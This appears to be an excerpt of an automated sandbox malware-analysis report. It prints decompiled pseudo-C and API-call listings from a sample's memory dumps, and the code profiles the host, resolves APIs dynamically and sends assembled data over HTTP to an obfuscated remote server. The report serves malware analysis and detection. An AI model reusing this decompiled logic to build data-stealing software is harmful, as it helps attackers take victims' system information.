							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t118, _t73));
							_t77 = E0040BF50( &_v540, __eflags, 0x28);
							_t119 =  *0x41a2f8; // 0x828148
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t119, _t77));
							_t81 = E0040BF50( &_v540, __eflags, 0x10);
							_t120 =  *0x41a494; // 0x8281d8
							_t83 = E0040BEB0( &_v540, _t120, _t81);
							_t127 = _t127 + 0x40;
							 *0x41aac8( &_v540, _t83);
						} else {
							if(_v1140 == 3) {
								 *0x41aa24( &_v276, _v1072);
								E004049E0( &_v540,  &_v804,  &_v540);
								_t127 = _t127 + 8;
								E0040B6E0( &_v540,  &_v1136, 0, 0x3c);
								_v1136 = 0x3c;
								_v1132 = 0;
								_v1128 = 0;
								_t110 =  *0x41a694; // 0x825210
								_v1124 = _t110;
								_v1120 =  &_v540;
								_v1116 =  &_v276;
								_v1112 = 0;
								_v1108 = 5;
								_v1104 = 0;
								 *0x41aa84( &_v1136);
								E0040B6E0( &_v1136,  &_v1136, 0, 0x3c);
								E0040B720( &_v1068, 0x104);
								E0040B720( &_v540, 0x104);
								E0040B720( &_v276, 0x104);
								E0040B720( &_v804, 0x104);
								_v8 = 0;
							}
						}
					}
					_v8 = _v8 + 1;
					_t66 = E0040C090(0, "|",  &_v1076);
					_t127 = _t127 + 0xc;
					_v1072 = _t66;
				}
				return E0040B720( &_v1072, 4);
			}

0x00405b19
0x00405b1e
0x00405b21
0x00405b27
0x00405b3a
0x00405b4b
0x00405b5c
0x00405b6d
0x00405b72
0x00405b82
0x00405b8f
0x00405bba
0x00405b91
0x00405b98
0x00405bd3
0x00405bdb
0x00405be4
0x00405c02
0x00405c0a
0x00405c13
0x00405c31
0x00405c39
0x00405c42
0x00405c60
0x00405c68
0x00405c71
0x00405c7f
0x00405c84
0x00405c8f
0x00405b9a
0x00405ba1
0x00405ca8
0x00405cbc
0x00405cc1
0x00405ccf
0x00405cd4
0x00405cde
0x00405ce8
0x00405cf2
0x00405cf8
0x00405d04
0x00405d10
0x00405d16
0x00405d20
0x00405d2a
0x00405d3b
0x00405d4c
0x00405d5d
0x00405d6e
0x00405d7f
0x00405d90
0x00405d95
0x00405d95
0x00405ba1
0x00405b98
0x00405da2
0x00405db3
0x00405db8
0x00405dbb
0x00405dbb
0x00405dd7

APIs

lstrcat.KERNEL32(?,00000000), ref: 00405BBA
lstrcat.KERNEL32(?,00000000), ref: 00405BD3

Part of subcall function 0040BF50: SHGetFolderPathA.SHELL32(00000000,0040619E,00000000,00000000,?,?,000003E8), ref: 0040BF7B

Part of subcall function 0040BEB0: StrStrA.SHLWAPI(008281C0,?,?,004061B1,?,008281C0,00000000), ref: 0040BEBE

lstrcpy.KERNEL32(?,00000000), ref: 00405C02

Part of subcall function 0040BEB0: lstrcpyn.KERNEL32(0041AC88,008281C0,008281C0,?,004061B1,?,008281C0), ref: 0040BEE2
Part of subcall function 0040BEB0: wsprintfA.USER32 ref: 0040BF3B

lstrcpy.KERNEL32(?,00000000), ref: 00405C31
lstrcpy.KERNEL32(?,00000000), ref: 00405C60
lstrcpy.KERNEL32(?,00000000), ref: 00405C8F

Strings

<, xrefs: 00405CD4

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: lstrcpy$lstrcat$FolderPathlstrcpynwsprintf
String ID: <
API String ID: 2415926151-4251816714
Opcode ID: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
Instruction ID: badc1f77fbd681f1876fa2e3389a3849b2e9868718c133fb1f617daaf3b8e41a
Opcode Fuzzy Hash: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
Instruction Fuzzy Hash: D86114F190021CABD715EB60DC85FDE7378AB58304F0445AAF309A6191DB796B88CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 006C5D50, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 178stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00000000), ref: 006C5E0A
lstrcat.KERNEL32(?,00000000), ref: 006C5E23

Part of subcall function 006CC1A0: SHGetFolderPathA.SHELL32(00000000,006C5E30,00000000,00000000,?,?,000003E8), ref: 006CC1CB

Part of subcall function 006CC100: StrStrA.SHLWAPI(0041A574,?,?,006C5E47,?,0041A574,00000000), ref: 006CC10E

lstrcpy.KERNEL32(?,00000000), ref: 006C5E52

Part of subcall function 006CC100: lstrcpyn.KERNEL32(0041AC88,0041A574,0041A574,?,006C5E47,?,0041A574), ref: 006CC132
Part of subcall function 006CC100: wsprintfA.USER32 ref: 006CC18B

lstrcpy.KERNEL32(?,00000000), ref: 006C5E81
lstrcpy.KERNEL32(?,00000000), ref: 006C5EB0
lstrcpy.KERNEL32(?,00000000), ref: 006C5EDF

Strings

<, xrefs: 006C5F24

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: lstrcpy$lstrcat$FolderPathlstrcpynwsprintf
String ID: <
API String ID: 2415926151-4251816714
Opcode ID: ca99b8c5f2615107a35df7a1f1dccff14a2e5a2c5a6f3dec0d12ea2a79c58206
Instruction ID: e0fba9caf09a24695c7e2bbbe3fb2cbb79be1f59b51cf6b2e2419890beb0b7b0
Opcode Fuzzy Hash: ca99b8c5f2615107a35df7a1f1dccff14a2e5a2c5a6f3dec0d12ea2a79c58206
Instruction Fuzzy Hash: C36173F1900218ABDB55EB60CC86FEE7379AB58304F04419DF309A6151DB74ABC8CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B000, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040B000() {
				void* _v8;
				int _v16;
				int _v20;
				struct _MEMORYSTATUSEX _v84;
				void* _t18;
				int _t27;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 = memset( &_v84, 0, 0x40);
				_v84.dwLength = 0x40;
				GlobalMemoryStatusEx( &_v84);
				if(_t18 != 1) {
					_v20 = 0;
					_v16 = 0;
				} else {
					_t27 = _v84.ullAvailPhys;
					_v20 = E00413940(_v84.ullTotalPhys, _t27, 0x100000, 0);
					_v16 = _t27;
				}
				_push(_v16);
				wsprintfA(_v8, "%d MB", _v20);
				return _v8;
			}

0x0040b01a
0x0040b025
0x0040b02b
0x0040b036
0x0040b03f
0x0040b05d
0x0040b064
0x0040b041
0x0040b048
0x0040b055
0x0040b058
0x0040b058
0x0040b06e
0x0040b07c
0x0040b08b

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
memset.NTDLL ref: 0040B025
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
__aulldiv.LIBCMT ref: 0040B050
wsprintfA.USER32 ref: 0040B07C

Strings

%d MB, xrefs: 0040B073
@, xrefs: 0040B02B

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus__aulldivmemsetwsprintf
String ID: %d MB$@
API String ID: 3391354518-3474575989
Opcode ID: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction ID: d6dd67dfb3d0438e7a0ae41fe93027642831ff50444b6176823616896e2162a9
Opcode Fuzzy Hash: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction Fuzzy Hash: 7F01A9B1D40208ABDB00DFE4DD49BEFB7B8FB48701F108559F615AB280D7B99A118B99

Uniqueness

Uniqueness Score: -1.00%

Function 006CB250, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006CB25D
RtlAllocateHeap.NTDLL(00000000), ref: 006CB264
memset.NTDLL ref: 006CB275
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 006CB286
__aulldiv.LIBCMT ref: 006CB2A0
wsprintfA.USER32 ref: 006CB2CC

Strings

([l, xrefs: 006CB2C8, 006CB2D5, 006CB2CB
@, xrefs: 006CB27B

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus__aulldivmemsetwsprintf
String ID: ([l$@
API String ID: 3391354518-3982919945
Opcode ID: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction ID: 9ebdd19724377ba3605e703ea3fe80c57ddf25d94f8008a64088c53923f8ed06
Opcode Fuzzy Hash: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction Fuzzy Hash: 91010CB1D40218ABDB00DFE4DD49FEEB7B8FF48700F108959F615AB280D7B99A118B95

Uniqueness

Uniqueness Score: -1.00%

Function 00406650, Relevance: 13.7, APIs: 9, Instructions: 176
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406650(void* __ecx, void* __eflags) {
				char _v5004;
				char _v5268;
				char _v10268;
				char _v10272;
				char _v10276;
				char _v10540;
				char _v10544;
				intOrPtr _t46;
				intOrPtr _t51;
				intOrPtr _t52;
				intOrPtr _t61;
				intOrPtr _t71;
				void* _t76;
				intOrPtr _t90;
				intOrPtr _t92;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t101;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t112;
				intOrPtr _t116;
				CHAR* _t117;
				void* _t121;
				void* _t129;
				void* _t133;

				_t133 = __eflags;
				E004139B0(0x292c, __ecx);
				_v10544 = E00413730(0, 0x6400000, 0);
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v10268, 0x1388);
				E0040B720( &_v10540, 0x104);
				 *0x41aa24( &_v5268, E0040B8B0( &_v10268, _t133, 0x10));
				_t90 =  *0x41a260; // 0x825190
				 *0x41aa24( &_v5268, _t90);
				_t46 =  *0x41a368; // 0x8251b0
				 *0x41aa24( &_v10540, _t46);
				_t107 =  *0x41a7c4; // 0x825a88
				 *0x41aa24( &_v10540, _t107);
				_t92 =  *0x41a76c; // 0x827ef0
				 *0x41aa24( &_v10540, _t92);
				_t51 =  *0x41a714; // 0x83a4b0
				_t93 =  *0x41a288; // 0x827e90
				_t109 =  *0x41a7c4; // 0x825a88
				_t52 =  *0x41a368; // 0x8251b0
				 *0x41aa24( &_v10268, E004051A0(_t93, _t133, _t52, _t109, _t93, _t51));
				E00406320( &_v10268, _t133,  &_v10268, _v10544);
				E0040B720( &_v10268, 0x1388);
				_t111 =  *0x41a6a4; // 0x839fe0
				E004049E0( &_v10268,  &_v10540, _t111);
				E0040B720( &_v10540, 0x104);
				_t112 =  *0x41aba8; // 0x0
				_t61 =  *0x41abac; // 0x0
				_t97 =  *0x41aba4; // 0x0
				E0040A700(_t133, _v10544, _t97, _t61, _t112);
				E00401470(_v10544);
				E004056E0(_v10544, _t133, _v10544);
				_t129 = _t121 + 0x48;
				_t134 =  *0x41abb0;
				if( *0x41abb0 != 0) {
					E0040BCF0(_t134, 0x41, _v10544);
					_t129 = _t129 + 8;
				}
				E00413800(_v10544,  &_v10276,  &_v10272);
				E0040B720( &_v5004, 0x1388);
				_t101 =  *0x41a288; // 0x827e90
				_t116 =  *0x41a7c4; // 0x825a88
				_t71 =  *0x41a368; // 0x8251b0
				 *0x41aa24( &_v5004, E00404BE0(_t101, _t134, _t71, _t116, _t101,  &_v5268, _v10276, _v10272));
				_t117 =  *0x41a6a8; // 0x83ac00
				SetCurrentDirectoryA(_t117);
				_t76 =  *0x41a908( &_v5004);
				_t135 = _t76 - 5;
				if(_t76 > 5) {
					E00405B00(_t135,  &_v5004);
				}
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v5004, 0x1388);
				E0040B720( &_v10276, 4);
				E0040B720( &_v10272, 4);
				E0040B720( &_v10544, 4);
				E00405DE0();
				 *0x41abb4 = 1;
				return 0;
			}

0x00406650
0x00406658
0x0040666e
0x00406680
0x00406691
0x004066a2
0x004066b9
0x004066bf
0x004066cd
0x004066d3
0x004066e0
0x004066e6
0x004066f4
0x004066fa
0x00406708
0x0040670e
0x00406714
0x0040671b
0x00406722
0x00406738
0x0040674c
0x00406760
0x00406765
0x00406773
0x00406787
0x0040678c
0x00406793
0x00406799
0x004067a7
0x004067b6
0x004067c5
0x004067ca
0x004067cd
0x004067d4
0x004067df
0x004067e4
0x004067e4
0x004067fc
0x00406810
0x0040682a
0x00406831
0x00406838
0x0040684e
0x00406854
0x0040685b
0x00406868
0x0040686e
0x00406871
0x0040687a
0x0040687f
0x0040688e
0x0040689f
0x004068ad
0x004068bb
0x004068c9
0x004068ce
0x004068d3
0x004068e2

APIs

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 004066B9
lstrcat.KERNEL32(?,00825190), ref: 004066CD
lstrcat.KERNEL32(?,008251B0), ref: 004066E0
lstrcat.KERNEL32(?,00825A88), ref: 004066F4
lstrcat.KERNEL32(?,00827EF0), ref: 00406708

Part of subcall function 004051A0: InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
Part of subcall function 004051A0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
Part of subcall function 004051A0: InternetConnectA.WININET(00000000,008251B0,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
Part of subcall function 004051A0: HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
Part of subcall function 004051A0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
Part of subcall function 004051A0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(?,200), ref: 00405359

lstrcat.KERNEL32(?,00000000), ref: 00406738

Part of subcall function 00406320: lstrcat.KERNEL32(?,?), ref: 00406394

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 0040A700: GetProcessHeap.KERNEL32(00000000,000F423F,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 0040A70A
Part of subcall function 0040A700: RtlAllocateHeap.NTDLL(00000000,?,004067AC), ref: 0040A711

Part of subcall function 004056E0: GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
Part of subcall function 004056E0: RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
Part of subcall function 004056E0: lstrcat.KERNEL32(?,008251A0), ref: 00405705
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00825160), ref: 00405716
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405725
Part of subcall function 004056E0: lstrcat.KERNEL32(?,0083A5B0), ref: 00405736
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC4), ref: 00405745
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00825A48), ref: 00405756
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405765
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00828070), ref: 00405776
Part of subcall function 004056E0: GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00000000), ref: 00405790
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
Part of subcall function 004056E0: lstrcat.KERNEL32(00827E60,00827E60), ref: 004057AF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
Part of subcall function 004056E0: lstrcat.KERNEL32(00827F20,00827F20), ref: 004057DF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
Part of subcall function 004056E0: lstrcat.KERNEL32(008257E8,008257E8), ref: 0040580F
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E

lstrcat.KERNEL32(?,00000000), ref: 0040684E
SetCurrentDirectoryA.KERNEL32(0083AC00,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 0040685B
lstrlen.KERNEL32(?,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00406868

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: lstrcat$HeapInternet$HttpOpenProcess$AllocateCurrentRequest$ConnectDirectoryInfoOptionQuerySendSystemTimelstrlen
String ID:
API String ID: 2767677664-0
Opcode ID: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction ID: 4521fb7a1d59e918bbbcfb22c6a1b4b47e0d9ef7d9e5ed5fdd184795f43376b9
Opcode Fuzzy Hash: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction Fuzzy Hash: 476159B6901214ABD711EB60DC45DDA73BCEB4C744F00C5AAF209A3191DB78E794CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 006C68A0, Relevance: 13.7, APIs: 9, Instructions: 176stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006CBB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 006CBB21

lstrcat.KERNEL32(?,00000000), ref: 006C6909
lstrcat.KERNEL32(?,0041A260), ref: 006C691D
lstrcat.KERNEL32(?,0041A368), ref: 006C6930
lstrcat.KERNEL32(?,0041A7C4), ref: 006C6944
lstrcat.KERNEL32(?,0041A76C), ref: 006C6958

Part of subcall function 006C53F0: InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 006C541D
Part of subcall function 006C53F0: StrCmpCA.SHLWAPI(00000000,00418B90), ref: 006C5443
Part of subcall function 006C53F0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 006C547D
Part of subcall function 006C53F0: InternetConnectA.WININET(00000000,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 006C54A3
Part of subcall function 006C53F0: HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00C00100,00000000), ref: 006C5503
Part of subcall function 006C53F0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006C5577
Part of subcall function 006C53F0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 006C5593
Part of subcall function 006C53F0: StrCmpCA.SHLWAPI(?,00418B8C), ref: 006C55A9

lstrcat.KERNEL32(?,00000000), ref: 006C6988

Part of subcall function 006C6570: lstrcat.KERNEL32(?,?), ref: 006C65E4

Part of subcall function 006C4C30: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 006C4C5E

Part of subcall function 006CA950: GetProcessHeap.KERNEL32(00000000,000F423F,?,006C69FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 006CA95A
Part of subcall function 006CA950: RtlAllocateHeap.NTDLL(00000000,?,006C69FC), ref: 006CA961

Part of subcall function 006C5930: GetProcessHeap.KERNEL32(00000000,000F423F), ref: 006C593B
Part of subcall function 006C5930: RtlAllocateHeap.NTDLL(00000000), ref: 006C5942
Part of subcall function 006C5930: lstrcat.KERNEL32(?,0041A6E4), ref: 006C5955
Part of subcall function 006C5930: lstrcat.KERNEL32(?,0041A22C), ref: 006C5966
Part of subcall function 006C5930: lstrcat.KERNEL32(?,00418BC0), ref: 006C5975
Part of subcall function 006C5930: lstrcat.KERNEL32(?,0041A6C4), ref: 006C5986
Part of subcall function 006C5930: lstrcat.KERNEL32(?,00418BC4), ref: 006C5995
Part of subcall function 006C5930: lstrcat.KERNEL32(?,0041A544), ref: 006C59A6
Part of subcall function 006C5930: lstrcat.KERNEL32(?,00418BC0), ref: 006C59B5
Part of subcall function 006C5930: lstrcat.KERNEL32(?,0041A79C), ref: 006C59C6
Part of subcall function 006C5930: GetCurrentProcessId.KERNEL32 ref: 006C59CC
Part of subcall function 006C5930: lstrcat.KERNEL32(?,00000000), ref: 006C59E0
Part of subcall function 006C5930: lstrcat.KERNEL32(?,00418BC0), ref: 006C59EF
Part of subcall function 006C5930: lstrcat.KERNEL32(?,0041A55C), ref: 006C59FF
Part of subcall function 006C5930: lstrcat.KERNEL32(?,00000000), ref: 006C5A0F
Part of subcall function 006C5930: lstrcat.KERNEL32(?,00418BC4), ref: 006C5A1E
Part of subcall function 006C5930: lstrcat.KERNEL32(?,0041A044), ref: 006C5A2F
Part of subcall function 006C5930: lstrcat.KERNEL32(?,00000000), ref: 006C5A3F
Part of subcall function 006C5930: lstrcat.KERNEL32(?,00418BC0), ref: 006C5A4E
Part of subcall function 006C5930: lstrcat.KERNEL32(?,0041A0FC), ref: 006C5A5F
Part of subcall function 006C5930: lstrcat.KERNEL32(?,00000000), ref: 006C5A6F
Part of subcall function 006C5930: lstrcat.KERNEL32(?,00418BC4), ref: 006C5A7E

lstrcat.KERNEL32(?,00000000), ref: 006C6A9E
SetCurrentDirectoryA.KERNEL32(0041A6A8,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 006C6AAB
lstrlen.KERNEL32(?,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 006C6AB8

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: lstrcat$HeapInternet$HttpOpenProcess$AllocateCurrentRequest$ConnectDirectoryInfoOptionQuerySendSystemTimelstrlen
String ID:
API String ID: 2767677664-0
Opcode ID: 086d614e0f8ceeab508543bd7818011aace6c64de742493a2a319ccd1d6628aa
Instruction ID: c5bf8610d73bfa6e5fa2610c24ad818b8bc175a144e86a2f2d10ec74d58dbe7c
Opcode Fuzzy Hash: 086d614e0f8ceeab508543bd7818011aace6c64de742493a2a319ccd1d6628aa
Instruction Fuzzy Hash: 7C6167B6901218ABC711E7A0DC46EEA73BDEB4C700F40C5ADF20993191DA74EA94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 006D1770, Relevance: 13.6, APIs: 9, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,006D2CEA,?), ref: 006D1778
StrCmpCA.SHLWAPI(?,00419340,?,006D2CEA,?), ref: 006D17C5
StrCmpCA.SHLWAPI(?,00419344,?,006D2CEA,?), ref: 006D17DF
StrCmpCA.SHLWAPI(?,0041934C,?,006D2CEA,?), ref: 006D17F9

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: lstrlen
String ID:
API String ID: 1659193697-0
Opcode ID: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction ID: 821d096f9ad85fcfdf513ab88246499fc5b305ba8360abc8f4ada1c1b575f900
Opcode Fuzzy Hash: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction Fuzzy Hash: 00316E39F04208FBCB00DFA1E944AEE7BAAAE1A7407208057E5159F750D7B4DE41FB54

Uniqueness

Uniqueness Score: -1.00%

Function 00407060, Relevance: 13.6, APIs: 9, Instructions: 61
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407060() {
				CHAR* _t1;
				CHAR* _t5;
				struct HINSTANCE__* _t7;
				CHAR* _t10;
				struct HINSTANCE__* _t12;
				CHAR* _t15;
				CHAR* _t18;
				struct HINSTANCE__* _t19;
				CHAR* _t20;
				struct HINSTANCE__* _t21;
				CHAR* _t22;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t24;
				CHAR* _t25;
				struct HINSTANCE__* _t26;
				CHAR* _t27;
				struct HINSTANCE__* _t28;

				_t1 =  *0x41a6a4; // 0x839fe0
				 *0x41a82c = LoadLibraryA(_t1);
				if( *0x41a82c == 0) {
					return 0;
				}
				_t18 =  *0x41a4d0; // 0x83ac90
				_t24 =  *0x41a82c; // 0x0
				 *0x41a830 = GetProcAddress(_t24, _t18);
				_t5 =  *0x41a0ec; // 0x83b508
				_t19 =  *0x41a82c; // 0x0
				 *0x41a7e8 = GetProcAddress(_t19, _t5);
				_t25 =  *0x41a43c; // 0x83ac30
				_t7 =  *0x41a82c; // 0x0
				 *0x41a804 = GetProcAddress(_t7, _t25);
				_t20 =  *0x41a41c; // 0x83b5e8
				_t26 =  *0x41a82c; // 0x0
				 *0x41a820 = GetProcAddress(_t26, _t20);
				_t10 =  *0x41a454; // 0x83b4c8
				_t21 =  *0x41a82c; // 0x0
				 *0x41a808 = GetProcAddress(_t21, _t10);
				_t27 =  *0x41a684; // 0x83abd0
				_t12 =  *0x41a82c; // 0x0
				 *0x41a834 = GetProcAddress(_t12, _t27);
				_t22 =  *0x41a570; // 0x83b4a8
				_t28 =  *0x41a82c; // 0x0
				 *0x41a810 = GetProcAddress(_t28, _t22);
				_t15 =  *0x41a6f8; // 0x83b548
				_t23 =  *0x41a82c; // 0x0
				 *0x41a818 = GetProcAddress(_t23, _t15);
				return 1;
			}

0x00407063
0x0040706f
0x0040707b
0x00000000
0x0040714b
0x00407081
0x00407088
0x00407095
0x0040709a
0x004070a0
0x004070ad
0x004070b2
0x004070b9
0x004070c5
0x004070ca
0x004070d1
0x004070de
0x004070e3
0x004070e9
0x004070f6
0x004070fb
0x00407102
0x0040710e
0x00407113
0x0040711a
0x00407127
0x0040712c
0x00407132
0x0040713f
0x00000000

APIs

LoadLibraryA.KERNEL32(00839FE0,?,0040A721,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 00407069
GetProcAddress.KERNEL32(00000000,0083AC90), ref: 0040708F
GetProcAddress.KERNEL32(00000000,0083B508), ref: 004070A7
GetProcAddress.KERNEL32(00000000,0083AC30), ref: 004070BF
GetProcAddress.KERNEL32(00000000,0083B5E8), ref: 004070D8
GetProcAddress.KERNEL32(00000000,0083B4C8), ref: 004070F0
GetProcAddress.KERNEL32(00000000,0083ABD0), ref: 00407108
GetProcAddress.KERNEL32(00000000,0083B4A8), ref: 00407121
GetProcAddress.KERNEL32(00000000,0083B548), ref: 00407139

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction ID: 2672694bce1a196fb14c5d12644c19629fc0bc7f4ce699a9cda348cbaa83b162
Opcode Fuzzy Hash: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction Fuzzy Hash: 64210DB56262009FC344EBB8ED889B637E9B74C315711C53AE505C3261D635A462CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 006C72B0, Relevance: 13.6, APIs: 9, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(0041A6A4,?,006CA971,?,006C69FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 006C72B9
GetProcAddress.KERNEL32(0041A82C,0041A4D0), ref: 006C72DF
GetProcAddress.KERNEL32(0041A82C,0041A0EC), ref: 006C72F7
GetProcAddress.KERNEL32(0041A82C,0041A43C), ref: 006C730F
GetProcAddress.KERNEL32(0041A82C,0041A41C), ref: 006C7328
GetProcAddress.KERNEL32(0041A82C,0041A454), ref: 006C7340
GetProcAddress.KERNEL32(0041A82C,0041A684), ref: 006C7358
GetProcAddress.KERNEL32(0041A82C,0041A570), ref: 006C7371
GetProcAddress.KERNEL32(0041A82C,0041A6F8), ref: 006C7389

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

